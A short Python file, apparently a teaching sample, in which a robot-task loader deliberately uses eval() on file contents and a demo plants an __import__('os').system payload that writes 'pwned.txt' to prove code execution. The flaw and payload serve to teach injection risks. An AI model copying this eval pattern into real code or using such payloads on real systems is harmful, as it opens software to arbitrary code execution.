Vulnerable code sample

import os
import sys

def load_and_process_robot_task(task_definition_path):
    """
    Loads a task definition from a file and processes it.
    
    This function is intended to load a dictionary-like string from a file
    that defines parameters for a robot's task. For flexibility, it uses
    `eval` to parse the file's content directly into a Python object.

    VULNERABILITY: The use of `eval()` on untrusted file content is a
    classic code injection vulnerability. An attacker who can write to or
    create the task definition file can execute arbitrary Python code with
    the same permissions as the application running this code.
    """
    print(f"[INFO] Loading task definition from: {task_definition_path}")
    
    try:
        with open(task_definition_path, 'r') as f:
            file_content = f.read()
            
            # The vulnerable line: executing content read from a file.
            task_params = eval(file_content)
            
            print(f"[INFO] Successfully processed task: {task_params.get('task_name', 'Unnamed')}")
            # In a real application, further processing would happen here.
            return task_params
            
    except Exception as e:
        print(f"[ERROR] Failed to process task definition: {e}", file=sys.stderr)
        return None

def main_demonstration():
    """
    A function to demonstrate the exploit.
    
    In a real-world scenario, the attacker would need a separate way to
    place this malicious file on the system where the target application can
    access it (e.g., through a file upload feature, a shared directory, etc.).
    """
    malicious_file = "exploit_task.conf"
    
    # This payload, when evaluated by `eval()`, will import the `os` module
    # and execute a shell command to create a file named 'pwned.txt'.
    # This demonstrates arbitrary code execution.
    malicious_payload = "__import__('os').system('echo \"Code injection successful\" > pwned.txt')"
    
    print(f"[DEMO] Creating a malicious task file named '{malicious_file}'...")
    with open(malicious_file, 'w') as f:
        f.write(malicious_payload)
        
    print("[DEMO] Running the vulnerable function with the malicious file...")
    load_and_process_robot_task(malicious_file)
    
    # Verify that the exploit worked
    if os.path.exists("pwned.txt"):
        print("\n[SUCCESS] Exploit successful! The file 'pwned.txt' was created by the injected code.")
        # Clean up the created files
        os.remove("pwned.txt")
        os.remove(malicious_file)
    else:
        print("\n[FAILURE] Exploit did not succeed. The 'pwned.txt' file was not created.")

if __name__ == "__main__":
    main_demonstration()